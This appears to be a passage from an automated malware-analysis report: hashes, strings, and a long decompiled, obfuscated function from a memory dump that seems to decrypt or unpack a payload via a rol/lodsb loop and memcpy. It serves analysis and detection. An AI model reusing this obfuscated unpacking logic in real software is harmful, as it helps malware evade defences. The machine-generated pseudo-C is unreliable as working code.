0x031e1b6c
0x031e1b70
0x031e1b75
0x031e1b7e
0x031e1b89
0x031e1b90
0x031e1b9a
0x031e1b80
0x031e1b80
0x031e1b83
0x031e1b83
0x031e1b9f
0x031e1ba8
0x031e1bb7
0x031e1bc1
0x031e1baa
0x031e1baa
0x031e1bb0
0x031e1be4
0x031e1bfe
0x031e1c01
0x031e1c0c
0x031e1c1c
0x031e1c29
0x031e1c3c
0x031e1c44
0x031e1c47
0x031e1c4d
0x031e1c56
0x031e1c5e
0x031e1c74
0x031e1c91
0x031e1cb3
0x031e1ccd

Strings

M~, xrefs: 031E1B77

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID: M~
API String ID: 0-3014885260
Opcode ID: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
Instruction ID: edafb75eb0d94c2d7d78aed8625717c71787397e90d685b7e04408fc29601d5a
Opcode Fuzzy Hash: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
Instruction Fuzzy Hash: 7F41C173810A059FEB10DE7CCCC97CA7A71EF84339F1883669C399A1D9D33986558B58

Uniqueness

Uniqueness Score: -1.00%

Function 031E3A14, Relevance: .9, Instructions: 925
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E031E3A14(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _t498;
				signed int _t503;
				void* _t505;
				void* _t506;
				signed int _t510;
				signed int _t513;
				signed int _t516;
				signed int _t521;
				void* _t523;
				void* _t525;
				intOrPtr _t526;
				void _t529;
				signed int _t533;
				intOrPtr _t539;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t554;
				void* _t556;
				signed int _t557;
				void* _t560;
				signed int _t565;
				signed int _t566;
				signed int _t569;
				void* _t573;
				void* _t575;
				signed int _t576;
				signed int _t579;
				intOrPtr _t581;
				signed int _t587;
				signed int _t589;
				void* _t592;
				void* _t594;
				signed int _t595;
				void* _t599;
				void* _t601;
				intOrPtr _t602;
				void* _t605;
				void* _t607;
				void* _t608;
				signed int _t613;
				signed int _t614;
				void* _t616;
				void* _t618;
				signed int _t623;
				void* _t625;
				signed int _t626;
				signed int _t629;
				signed int _t637;
				void* _t639;
				void* _t641;
				void* _t642;
				signed int _t645;
				signed int _t648;
				signed int _t660;
				signed int _t663;
				signed int _t665;
				signed int _t672;
				signed int _t675;
				signed int _t677;
				signed int _t679;
				signed int _t682;
				void* _t685;
				signed int _t692;
				signed int _t693;
				signed int _t702;
				signed int _t704;
				signed int _t706;
				signed int _t708;
				signed int _t712;
				signed int _t714;
				signed int _t717;
				signed int _t720;
				void* _t723;
				signed int _t725;
				signed int _t727;
				signed int _t730;
				signed int _t731;
				signed int _t733;
				signed int _t740;
				signed int _t741;
				signed int _t746;
				signed int _t749;
				signed int _t751;
				signed int _t753;
				signed int _t755;
				signed int _t758;
				signed int _t761;
				signed int _t765;
				signed int _t769;
				signed int _t774;
				signed int _t779;
				signed int _t784;
				signed int _t787;
				signed int _t790;
				signed int _t792;
				signed int _t795;
				signed int _t798;
				void* _t803;
				void* _t810;
				signed int _t812;
				signed int _t815;
				signed int _t820;
				signed int _t823;
				signed int _t825;
				signed int _t828;
				signed int _t834;
				signed int _t839;
				void* _t840;
				signed int _t844;
				signed int _t849;
				void* _t851;
				signed int _t853;
				signed int _t856;
				signed int _t859;
				signed int _t863;
				signed int _t864;
				signed int _t867;
				signed int _t871;
				signed int _t874;
				signed int _t878;
				signed int* _t879;
				signed int* _t880;
				signed int* _t881;
				signed int* _t882;
				signed int* _t883;
				signed int* _t884;
				signed int* _t885;
				signed int* _t889;
				signed int* _t890;
				signed int* _t891;
				signed int* _t892;
				signed int* _t893;
				signed int* _t894;
				signed int* _t895;
				signed int* _t896;
				signed int* _t897;
				signed int* _t898;
				signed int* _t899;
				signed int* _t900;

				_t740 = __edx;
				_t660 = __ebx;
				_push(__edi);
				 *_t878 =  *_t878 ^ __edi;
				 *_t878 =  *_t878 | _t863;
				_t864 = _t878;
				_t879 = _t878 + 0xffffffdc;
				_push(__edi);
				 *_t879 =  *_t879 ^ __edi;
				 *_t879 =  *_t879 | __ebx;
				_push(_a8);
				_pop( *_t2);
				_push(_v40);
				_pop(_t792);
				_t675 = _v48;
				_v48 =  *((intOrPtr*)(_t792 + 0xc));
				_pop( *_t6);
				_v48 =  *((intOrPtr*)(_t792 + 4));
				_pop(_t834);
				 *_t9 = _t864;
				if(_v20 == 1) {
					_v12 = 7;
					_v16 = 1;
					_v28 = 8;
				}
				if(_v20 != 0) {
					if(_v20 != 2) {
						if(_v20 == 4) {
							_t312 = _t660 + 0x41d1be; // 0x41d1be
							_v48 = _t312;
							_t314 = _t660 + 0x41c0a8; // 0x41c0a8
							 *_t879 =  *_t879 & 0x00000000;
							 *_t879 =  *_t879 ^ _t314;
							_push( *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40));
							_pop( *_t316);
							_push(_v36);
							_pop( *_t318);
							_v12 = 1;
							_t320 = _t660 + 0x41c6f8; // 0x41c6f8
							_v36 = _v36 & 0x00000000;
							 *_t879 =  *_t879 ^ _t320;
							_t544 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36);
							_v36 = _t740;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) & 0x00000000;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) | _t740 ^ _v36 | _t544;
							_t769 = _v36;
							_v16 = 0x55;
							_t333 = _t660 + 0x41c356; // 0x41c356
							_v32 = _v32 & 0x00000000;
							 *_t879 =  *_t879 | _t333;
							_t546 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
							_v40 = _t792;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) & 0x00000000;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) | _t792 & 0x00000000 ^ _t546;
							_t792 = _v40;
							_v28 = 2;
							_t345 = _t660 + 0x41cc3e; // 0x41cc3e
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 ^ _t345;
							_t349 = _t660 + 0x41cf5b; // 0x41cf5b
							 *_t879 =  *_t879 ^ _t834;
							 *_t879 = _t349;
							_t498 =  *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40);
							_v36 = _t769;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) & 0x00000000;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) | _t769 & 0x00000000 | _t498;
							_t740 = _v36;
						}
					} else {
						_t221 = _t660 + 0x41cb7a; // 0x41cb7a
						_v32 = 0;
						_v48 = _v48 + _t221;
						_t224 = _t660 + 0x41c8ec; // 0x41c8ec
						_v40 = 0;
						 *_t879 =  *_t879 ^ _t224;
						_t551 =  *((intOrPtr*)(_t660 + 0x41f068))(_v40, _v32);
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) & 0x00000000;
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) ^ (_t834 & 0x00000000 | _t551);
						_t844 = _t834;
						_t232 = _t660 + 0x41c379; // 0x41c379
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 + _t232;
						_t236 = _t660 + 0x41c532; // 0x41c532
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 | _t236;
						_t554 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v36);
						 *_t879 = _t554;
						_t242 = _t660 + 0x41d201; // 0x41d201
						 *_t879 = _t242;
						_t556 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v40);
						_t702 = _t675 & 0x00000000 |  *_t879;
						_t889 =  &(_t879[1]);
						 *_t889 =  *_t889 + _t792;
						_t810 = _t556;
						_t557 = _t810 + _t702;
						_t812 = 0;
						_t704 = _t702 & 0x00000000 ^ (_t557 ^  *_t889 |  *(_t660 + 0x41cc21));
						_t560 = _t557;
						if(_t704 > _t560) {
							_t246 = _t660 + 0x41c532; // 0x41c532
							 *_t889 =  *_t889 & 0x00000000;
							 *_t889 =  *_t889 | _t246;
							_t247 = _t660 + 0x41d201; // 0x41d201
							_v40 = _v40 & 0x00000000;
							 *_t889 =  *_t889 | _t247;
							_t587 =  *((intOrPtr*)(_t660 + 0x41f064))(_v40, _t740);
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) & 0x00000000;
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) | _t864 -  *_t889 ^ _t587;
							_t864 = _t864;
						}
						_t890 = _t889 - 0xfffffffc;
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 |  *_t889;
						_t256 = _t660 + 0x41d01d; // 0x41d01d
						 *_t890 =  *_t890 ^ _t812;
						 *_t890 =  *_t890 | _t256;
						_t257 = _t660 + 0x41c37d; // 0x41c37d
						 *_t890 = _t257;
						_t565 =  *((intOrPtr*)(_t660 + 0x41f068))(_v32, _t812, _t740);
						_v36 = _t812;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) & 0x00000000;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) | _t812 & 0x00000000 | _t565;
						_t815 = _v36;
						_t566 =  *((intOrPtr*)(_t660 + 0x41f060))();
						 *_t890 =  *_t890 ^ _t844;
						 *_t890 =  *_t890 | _t566;
						_t267 = _t660 + 0x41c8c2; // 0x41c8c2
						 *_t890 =  *_t890 - _t660;
						 *_t890 =  *_t890 + _t267;
						_t268 = _t660 + 0x41c737; // 0x41c737
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 ^ _t268;
						_t569 =  *((intOrPtr*)(_t660 + 0x41f068))(_t815, _t660, _t844);
						 *_t270 = _t569;
						_push(_v36);
						_pop( *_t272);
						_t891 = _t890 - 0xfffffffc;
						_v36 = _t815;
						 *(_t660 + 0x41c606) = _t569 & 0x00000000 |  *_t890;
						_t792 = _v36;
						_v12 = 3;
						_t277 = _t660 + 0x41d2fe; // 0x41d2fe
						_v32 = 0;
						 *_t891 =  *_t891 | _t277;
						_t573 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
						 *_t891 =  *_t891 ^ _t792;
						 *_t891 =  *_t891 + _t573;
						_t281 = _t660 + 0x41d22a; // 0x41d22a
						_v40 = _v40 & 0x00000000;
						 *_t891 =  *_t891 | _t281;
						_t575 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t792);
						_t706 = _t704 & 0x00000000 |  *_t891;
						_t879 =  &(_t891[1]);
						_v40 = _t740;
						_push(_t706 + _t575);
						_t774 = _v40;
						_pop(_t576);
						_v36 = _t576;
						_t708 = _t706 & 0x00000000 ^ (_t576 ^ _v36 |  *(_t660 + 0x41c48f));
						_t579 = _v36;
						if(_t708 > _t579) {
							_t292 = _t660 + 0x41d2fe; // 0x41d2fe
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 + _t292;
							_t296 = _t660 + 0x41d22a; // 0x41d22a
							_v36 = 0;
							 *_t879 =  *_t879 ^ _t296;
							_t579 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v40);
						}
						 *_t879 = _t844;
						 *(_t660 + 0x41c2cf) = 0 ^ _t579;
						_t834 = 0;
						_v16 = 0x11;
						_t302 = _t660 + 0x41d09f; // 0x41d09f
						 *_t879 =  *_t879 - _t792;
						 *_t879 =  *_t879 + _t302;
						_t581 =  *((intOrPtr*)(_t660 + 0x41f060))(_t792);
						_v40 = _t708;
						 *((intOrPtr*)(_t660 + 0x41ce4e)) = _t581;
						_t675 = _v40;
						_v28 = 4;
						_t308 = _t660 + 0x41c4f7; // 0x41c4f7
						 *_t879 =  *_t879 ^ _t675;
						 *_t879 =  *_t879 + _t308;
						_t498 =  *((intOrPtr*)(_t660 + 0x41f060))(_t675);
						 *_t879 = _t774;
						 *(_t660 + 0x41c895) = 0 ^ _t498;
						_t740 = 0;
					}
					_t741 = _t740 ^ _t740;
					_v48 = _v48 - _t792;
					_v48 = _t741;
					_t357 = _t660 + 0x41c61d; // 0x41c61d
					 *_t879 =  *_t879 ^ _t834;
					 *_t879 = _t357;
					_t503 =  *((intOrPtr*)(_t660 + 0x41f060))(_t834, _t792, _t498);
					 *_t879 = _t503;
					_t360 = _t660 + 0x41cf67; // 0x41cf67
					_v40 = 0;
					 *_t879 =  *_t879 ^ _t360;
					_t505 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _v32);
					_pop( *_t364);
					_t677 = _t675 & 0x00000000 ^ _v40;
					_v40 = _t792;
					_push(_t677 + _t505);
					_t795 = _v40;
					_pop(_t506);
					_t679 = _t677 & 0x00000000 | _t864 & 0x00000000 ^  *(_t660 + 0x41c5dc);
					_t867 = _t864;
					if(_t679 > _t506) {
						_t369 = _t660 + 0x41c61d; // 0x41c61d
						_v32 = 0;
						 *_t879 =  *_t879 ^ _t369;
						_t372 = _t660 + 0x41cf67; // 0x41cf67
						_v36 = 0;
						 *_t879 =  *_t879 | _t372;
						_t539 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v32);
						_v32 = _t679;
						 *((intOrPtr*)(_t660 + 0x41cf4f)) = _t539;
						_t679 = _v32;
					}
					_t880 =  &(_t879[1]);
					 *_t880 = _t679;
					_t682 = 0;
					 *_t880 = _t741 & 0x00000000 |  *_t879;
					_t381 = _t660 + 0x41cef6; // 0x41cef6
					_v32 = _v32 & 0x00000000;
					 *_t880 =  *_t880 | _t381;
					_t385 = _t660 + 0x41ceb9; // 0x41ceb9
					 *_t880 =  *_t880 ^ _t867;
					 *_t880 =  *_t880 ^ _t385;
					_t510 =  *((intOrPtr*)(_t660 + 0x41f068))(_t867, _v32, _v40);
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) & 0x00000000;
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) | _t682 ^  *_t880 | _t510;
					_t685 = _t682;
					_t881 = _t880 - 0xfffffffc;
					_t746 = _t510 % _v28;
					 *_t881 =  *_t881 & 0x00000000;
					 *_t881 =  *_t881 | _t746;
					_t397 = _t660 + 0x41c52d; // 0x41c52d
					_v40 = 0;
					 *_t881 =  *_t881 ^ _t397;
					_t513 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t685);
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) & 0x00000000;
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) | _t746 & 0x00000000 | _t513;
					_t749 = _t746;
					_t751 = _t749 & 0x00000000 ^  *_t881;
					_t882 = _t881 - 0xfffffffc;
					_v8 = _v8 - _t751;
					_v40 = 0;
					 *_t882 =  *_t882 | _t751;
					_t409 = _t660 + 0x41c7ee; // 0x41c7ee
					 *_t882 =  *_t882 ^ _t795;
					 *_t882 =  *_t882 ^ _t409;
					_t410 = _t660 + 0x41c513; // 0x41c513
					_v36 = 0;
					 *_t882 =  *_t882 | _t410;
					_t516 =  *((intOrPtr*)(_t660 + 0x41f068))(_v36, _t795, _v40, _t685);
					_v36 = _t834;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) & 0x00000000;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) ^ _t834 & 0x00000000 ^ _t516;
					_t753 =  *_t882;
					_t883 =  &(_t882[1]);
					_v32 = _t516;
					_v24 = _v24 & 0x00000000;
					_v24 = _v24 | _t516 ^ _v32 ^ _t753;
					_t427 = _t660 + 0x41ccc7; // 0x41ccc7
					_v40 = 0;
					 *_t883 =  *_t883 | _t427;
					_t521 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40);
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) & 0x00000000;
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) | _t795 -  *_t883 | _t521;
					_t798 = _t795;
					_t839 = _v36 & 0x00000000 ^ _t660 & 0x00000000 ^ _a4;
					_t663 = _t660;
					_t436 = _t663 + 0x41c550; // 0x41c550
					_v36 = 0;
					 *_t883 =  *_t883 + _t436;
					_t523 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36);
					_v36 = 0;
					 *_t883 =  *_t883 + _t523;
					_t442 = _t663 + 0x41d34c; // 0x41d34c
					 *_t883 = _t442;
					_t525 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36, _v36);
					_t884 = _t883 - 0xfffffffc;
					 *_t445 = _t525;
					_v40 = _v40 + (0 ^  *_t883);
					_push(_v40);
					_pop(_t526);
					_t755 = _t753;
					_v32 = _t755;
					_t758 = _v32;
					if( *((intOrPtr*)(_t663 + 0x41ccf8)) > _t526) {
						_t452 = _t663 + 0x41c550; // 0x41c550
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t452;
						_t456 = _t663 + 0x41d34c; // 0x41d34c
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t456;
						_t526 =  *((intOrPtr*)(_t663 + 0x41f064))(_v32, _v32);
					}
					_v40 = _t758;
					 *((intOrPtr*)(_t663 + 0x41ce46)) = _t526;
					_t761 = _v40;
					_v32 = _t761;
					_t466 = _t663 + 0x41cb9d; // 0x41cb9d
					 *_t884 =  *_t884 - _t839;
					 *_t884 =  *_t884 | _t466;
					_t467 = _t663 + 0x41cd17; // 0x41cd17
					_v36 = _v36 & 0x00000000;
					 *_t884 =  *_t884 | _t467;
					_t529 =  *((intOrPtr*)(_t663 + 0x41f068))(_v36, _t839);
					 *_t884 = _t798 & 0x00000000 | _t761 & 0x00000000 ^ _t839;
					 *(_t663 + 0x41d015) = 0 ^ _t529;
					_t803 = 0;
					_t840 = _t839 - 1;
					_v32 = 0;
					_push(_v32);
					 *_t884 =  *_t884 | _t663;
					do {
						 *_t475 = _t803;
						_push(_v36);
						_pop(_t692);
						_t693 = _t692 & _v12;
						if(_t693 == 0) {
							_t840 = _t840 + 1;
							_t529 = _t529 & 0x00000000 ^ (_t803 -  *_t884 | _v28);
							_t803 = _t803;
							_t663 =  *(_t529 + _t840) & 0x000000ff;
						}
						_push(_v16);
						_pop( *_t481);
						_push(_v36);
						_pop(_t765);
						asm("rol edx, cl");
						asm("lodsb");
						_t529 = _t529 | _t765 & _t663;
						 *_t803 = _t529;
						_t803 = _t803 + 1;
						_t483 =  &_v8;
						 *_t483 = _v8 - 1;
					} while ( *_t483 != 0);
					_t665 =  *_t884;
					_t885 =  &(_t884[1]);
					_t485 = _t665 + 0x41cc0b; // 0x41cc0b
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 ^ _t485;
					_t486 = _t665 + 0x41cbd0; // 0x41cbd0
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 | _t486;
					_t533 =  *((intOrPtr*)(_t665 + 0x41f068))(_t867, _t693);
					_v36 = _t693;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) & 0x00000000;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) ^ (_t693 ^ _v36 | _t533);
					_v32 = _t665;
					return memcpy(_t803, _t840 + 1, _v24);
				} else {
					_pop( *_t15);
					_t672 = _t660 & 0x00000000 ^ _v32;
					_t17 = _t672 + 0x41cb24; // 0x41cb24
					_v32 = 0;
					 *_t879 =  *_t879 | _t17;
					_t589 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32);
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) & 0x00000000;
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) ^ _t792 ^ _v48 ^ _t589;
					_t820 = _t792;
					_t25 = _t672 + 0x41c2ba; // 0x41c2ba
					_v48 = _v48 ^ _t820;
					_v48 = _t25;
					_t26 = _t672 + 0x41d1a6; // 0x41d1a6
					 *_t879 =  *_t879 ^ _t820;
					 *_t879 =  *_t879 + _t26;
					_t592 =  *((intOrPtr*)(_t672 + 0x41f060))(_t820, _t820);
					 *_t879 =  *_t879 - _t864;
					 *_t879 =  *_t879 + _t592;
					_t28 = _t672 + 0x41c035; // 0x41c035
					 *_t879 =  *_t879 & 0x00000000;
					 *_t879 =  *_t879 | _t28;
					_t594 =  *((intOrPtr*)(_t672 + 0x41f060))(_t740, _t864);
					_t712 =  *_t879;
					_t892 =  &(_t879[1]);
					_v40 = _t820;
					_push(_t712 + _t594);
					_t823 = _v40;
					_pop(_t595);
					_v40 = _t834;
					_t714 = _t712 & 0x00000000 ^ _t834 & 0x00000000 ^  *(_t672 + 0x41c8ae);
					_t849 = _v40;
					if(_t714 > _t595) {
						_t35 = _t672 + 0x41d1a6; // 0x41d1a6
						 *_t892 =  *_t892 & 0x00000000;
						 *_t892 =  *_t892 ^ _t35;
						_t36 = _t672 + 0x41c035; // 0x41c035
						 *_t892 = _t36;
						_t595 =  *((intOrPtr*)(_t672 + 0x41f064))(_v40, _t672);
						_push(0);
						 *_t892 = _t714;
						 *(_t672 + 0x41d244) = 0 ^ _t595;
					}
					_t893 = _t892 - 0xfffffffc;
					 *_t893 =  *_t893 - _t849;
					 *_t893 =  *_t893 ^ (_t595 & 0x00000000 |  *_t892);
					_t40 = _t672 + 0x41cd30; // 0x41cd30
					 *_t893 =  *_t893 ^ _t849;
					 *_t893 =  *_t893 + _t40;
					_t599 =  *((intOrPtr*)(_t672 + 0x41f060))(_t849, _t849);
					_v36 = 0;
					 *_t893 =  *_t893 + _t599;
					_t44 = _t672 + 0x41c116; // 0x41c116
					 *_t893 = _t44;
					_t601 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_t894 =  &(_t893[1]);
					 *_t47 = _t601;
					_v40 = _v40 + (0 ^  *_t893);
					_push(_v40);
					_pop(_t602);
					_t851 = _t849;
					_v40 = _t740;
					_t717 = 0 ^  *(_t672 + 0x41d282);
					_t779 = _v40;
					if(_t717 > _t602) {
						_t54 = _t672 + 0x41cd30; // 0x41cd30
						_v36 = _v36 & 0x00000000;
						 *_t894 =  *_t894 + _t54;
						_t58 = _t672 + 0x41c116; // 0x41c116
						 *_t894 = _t58;
						_t602 =  *((intOrPtr*)(_t672 + 0x41f064))(_v36, _v36);
					}
					_v32 = _t779;
					 *((intOrPtr*)(_t672 + 0x41d2af)) = _t602;
					_t64 = _t672 + 0x41c00f; // 0x41c00f
					_v36 = 0;
					 *_t894 =  *_t894 | _t64;
					_t67 = _t672 + 0x41c17e; // 0x41c17e
					_v40 = _v40 & 0x00000000;
					 *_t894 =  *_t894 | _t67;
					_t605 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_v40 = 0;
					 *_t894 =  *_t894 + _t605;
					_t74 = _t672 + 0x41cf79; // 0x41cf79
					 *_t894 =  *_t894 & 0x00000000;
					 *_t894 =  *_t894 | _t74;
					_t607 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					 *_t76 = _t717;
					_push(_v32);
					 *_t78 = _t607;
					_v32 = _v32 + (_t717 & 0x00000000) + _v40;
					_push(_v32);
					_pop(_t608);
					_pop(_t784);
					_push( *((intOrPtr*)(_t672 + 0x41cc9b)));
					_pop( *_t83);
					_push(_v40);
					_pop(_t720);
					if(_t720 > _t608) {
						_t85 = _t672 + 0x41c17e; // 0x41c17e
						 *_t894 =  *_t894 & 0x00000000;
						 *_t894 =  *_t894 + _t85;
						_t86 = _t672 + 0x41cf79; // 0x41cf79
						_v32 = _v32 & 0x00000000;
						 *_t894 =  *_t894 ^ _t86;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_v32, _t784));
						_pop( *_t91);
						_push(_v40);
						_pop( *_t93);
					}
					_t895 =  &(_t894[1]);
					 *_t895 =  *_t894;
					_t95 = _t672 + 0x41cd11; // 0x41cd11
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 + _t95;
					_t96 = _t672 + 0x41c5be; // 0x41c5be
					_v40 = _v40 & 0x00000000;
					 *_t895 =  *_t895 ^ _t96;
					_t613 =  *((intOrPtr*)(_t672 + 0x41f068))(_v40, _t864, _v36);
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) & 0x00000000;
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) ^ (_t720 & 0x00000000 | _t613);
					_t723 = _t720;
					_t614 =  *((intOrPtr*)(_t672 + 0x41f068))();
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 ^ _t614;
					_t106 = _t672 + 0x41d112; // 0x41d112
					_v36 = 0;
					 *_t895 =  *_t895 + _t106;
					_t616 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36, _t823);
					 *_t895 =  *_t895 - _t723;
					 *_t895 =  *_t895 + _t616;
					_t110 = _t672 + 0x41c899; // 0x41c899
					_v40 = 0;
					 *_t895 =  *_t895 | _t110;
					_t618 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t723);
					_t725 =  *_t895;
					_t896 =  &(_t895[1]);
					 *_t114 = _t618;
					_v36 = _v36 + _t725;
					_push(_v36);
					_pop(_t619);
					_t853 = _t851;
					_v32 = _t784;
					_t727 = _t725 & 0x00000000 | _t784 - _v32 ^  *(_t672 + 0x41c8e8);
					_t787 = _v32;
					if(_t727 > _t619) {
						_t122 = _t672 + 0x41d112; // 0x41d112
						_v40 = _v40 & 0x00000000;
						 *_t896 =  *_t896 ^ _t122;
						_t126 = _t672 + 0x41c899; // 0x41c899
						 *_t896 =  *_t896 - _t672;
						 *_t896 =  *_t896 | _t126;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v40));
						_pop( *_t128);
						_push(_v40);
						_pop( *_t130);
					}
					_t897 =  &(_t896[1]);
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) & 0x00000000;
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) ^ _t853 ^  *_t897 ^  *_t896;
					_t856 = _t853;
					_t135 = _t672 + 0x41cc19; // 0x41cc19
					 *_t897 = _t135;
					_t623 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36);
					_v32 = _v32 & 0x00000000;
					 *_t897 =  *_t897 ^ _t623;
					_t141 = _t672 + 0x41c058; // 0x41c058
					_v32 = 0;
					 *_t897 =  *_t897 + _t141;
					_t625 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32, _v32);
					_t898 = _t897 - 0xfffffffc;
					 *_t145 = _t625;
					_v40 = _v40 + (_t727 & 0x00000000) +  *_t897;
					_push(_v40);
					_pop(_t626);
					_t825 = _t823;
					_v36 = _t787;
					_t730 =  *(_t672 + 0x41c493);
					_t790 = _v36;
					if(_t730 > _t626) {
						_t152 = _t672 + 0x41cc19; // 0x41cc19
						 *_t898 =  *_t898 ^ _t730;
						 *_t898 =  *_t898 | _t152;
						_t153 = _t672 + 0x41c058; // 0x41c058
						 *_t898 =  *_t898 & 0x00000000;
						 *_t898 =  *_t898 + _t153;
						_t626 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _t730);
					}
					 *_t898 = _t856;
					 *(_t672 + 0x41d0de) = 0 ^ _t626;
					_t859 = 0;
					_t899 = _t864;
					_pop(_t871);
					_t156 = _t672 + 0x41c23b; // 0x41c23b
					 *_t899 =  *_t899 ^ _t790;
					 *_t899 = _t156;
					_t157 = _t672 + 0x41c2e1; // 0x41c2e1
					_v8 = _v8 - _t859;
					_v8 = _v8 | _t157;
					_t629 =  *((intOrPtr*)(_t672 + 0x41f068))(_t859, _t790);
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) & 0x00000000;
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) ^ _t825 & 0x00000000 ^ _t629;
					_t828 = _t825;
					_t163 = _t672 + 0x41c6d4; // 0x41c6d4
					_v12 = _v12 ^ _t730;
					_v12 = _v12 + _t163;
					_t164 = _t672 + 0x41cc84; // 0x41cc84
					_v16 = _t164;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v32, _t730));
					_pop( *_t167);
					_push(_v40);
					_pop( *_t169);
					_t900 =  &(_t899[1]);
					_v16 = _v16 - _t730;
					_v16 = _v16 + (0 ^ _v16);
					_t170 = _t672 + 0x41c719; // 0x41c719
					_v40 = _v40 & 0x00000000;
					_v20 = _v20 ^ _t170;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t730));
					_pop( *_t175);
					_push(_v36);
					_pop( *_t177);
					_t637 =  *((intOrPtr*)(_t672 + 0x41f060))();
					_v32 = 0;
					_v24 = _v24 ^ _t637;
					_t181 = _t672 + 0x41d2e8; // 0x41d2e8
					_v28 = _v28 ^ _t828;
					_v28 = _v28 | _t181;
					_t639 =  *((intOrPtr*)(_t672 + 0x41f060))(_t828, _v32);
					_v32 = 0;
					_v32 = _v32 + _t639;
					_t185 = _t672 + 0x41ca71; // 0x41ca71
					_v36 = _t185;
					_t641 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v32);
					_pop( *_t188);
					_t731 = _v36;
					_v36 = _t859;
					_push(_t731 + _t641);
					_pop(_t642);
					_t733 = _t731 & 0x00000000 ^ _t871 & 0x00000000 ^  *(_t672 + 0x41c0c4);
					_t874 = _t871;
					if(_t733 > _t642) {
						_t193 = _t672 + 0x41d2e8; // 0x41d2e8
						_v32 = 0;
						 *_t900 =  *_t900 | _t193;
						_t196 = _t672 + 0x41ca71; // 0x41ca71
						 *_t900 =  *_t900 & 0x00000000;
						 *_t900 =  *_t900 ^ _t196;
						_t648 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v32);
